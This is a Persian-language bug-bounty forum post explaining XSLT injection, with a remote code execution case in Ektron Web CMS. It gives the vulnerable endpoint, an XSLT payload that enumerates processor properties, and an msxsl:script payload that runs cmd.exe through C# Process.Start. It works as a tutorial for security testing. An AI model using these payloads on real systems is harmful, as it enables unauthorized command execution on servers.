انجمن تیم امنیتی ایران سایبر

بررسی Xslt Injection در باگ بانتی

شروع موضوع توسط 1314CK.0FF3NSIV3 ‏8/1/20 در انجمن باگ بانتی (Bug Bounty)

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

حامی مسابقات و برگزار کننده دوره های پیشرفته ارزیابی امنیت برای سازمان ها فتح پرچم (CTF)
  1. 1314CK.0FF3NSIV3

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏16/8/15
    ارسال ها:
    16
    تشکر شده:
    38
    جنسیت:
    Name:
    Nothing
    Main os:
    Ubuntu
    باسلام
    XSLT injection.png
    در بررسی گزارش XSLT ها یا به اصلاح Extensible Stylesheet Language Transformations به نوعی فرآیند برای تبدیل اسناد XML به اسناد XML دیگر استفاده می شود یا می توان گفت برای تبدیل قالب های HTML به HTML با فرآیندی دیگر برای صفحات وب. هنگامی که محتوای XSLT در دست مهاجم قرار بگیرد می تواند، حملات مختلفی با Impact مختلف انجام دهد
    یکی از حملاتی که منجبر با استفاده از آسیب پذیری می شود آسیب پذیری RCE است که در بررسی یک CMS خصوصی با نام Ektron Web CMS با عدم عملکرد کنترل روی داده های XSL کاربر در داخل کلاس XslCompiledTransform این باگ ایجاد شد که نهایتا منجر به RCE برای مهاجم شد .

    برای شروع اگر شما CMS رو دارین آدرس زیر در مرورگر اجرا کنید :
    کد:
    http://127.0.0.1/WorkArea/ContentDesigner/ekajaxtransform.aspx
    قدم بعدی enumerate کردن مقادیر در XSLT هست که ریکوسئهایی که با متد POST با Burp برای تزریق XSLT استفاده می کنیم حال پارامتری که قابلیت POST شدن دارد :

    کد:
    xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
     <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     <xsl:template match="/">
     <html>
     <body>
     Version: <xsl:value-of select="system-property('xsl:version')" />
     Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
     Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
     </body>
     </html>
     </xsl:template>
     </xsl:stylesheet>
    گام دیگر برای Ping گرفتن دست شد :
    کد:
    xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    xmlns:App="http://www.tempuri.org/App">
        <msxsl:script implements-prefix="App" language="C#">
          <![CDATA[
              {
                  System.Diagnostics.Process.Start("cmd.exe /C ping IP");
              }
          ]]>
        </msxsl:script>
        <xsl:template match="ArrayOfTest">
        </xsl:template>
      </xsl:stylesheet>
    ادامه دارد .....



    بااحترام
     
    blackops و Ruiner از این پست تشکر کرده اند.
بارگذاری...

کاربرانی که از تاپیک دیدن کرده اند (کل: 14)

  1. duty
  2. Juaninator
  3. 6124
  4. hackerman1
  5. GonzOfficial28
  6. DawnInAllah
  7. Enetpropo
  8. 1314CK.0FF3NSIV3
  9. Ruiner
  10. X69X69X
  11. blackops
  12. Monocots57
  13. TamazB
  14. Unkn0wn
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .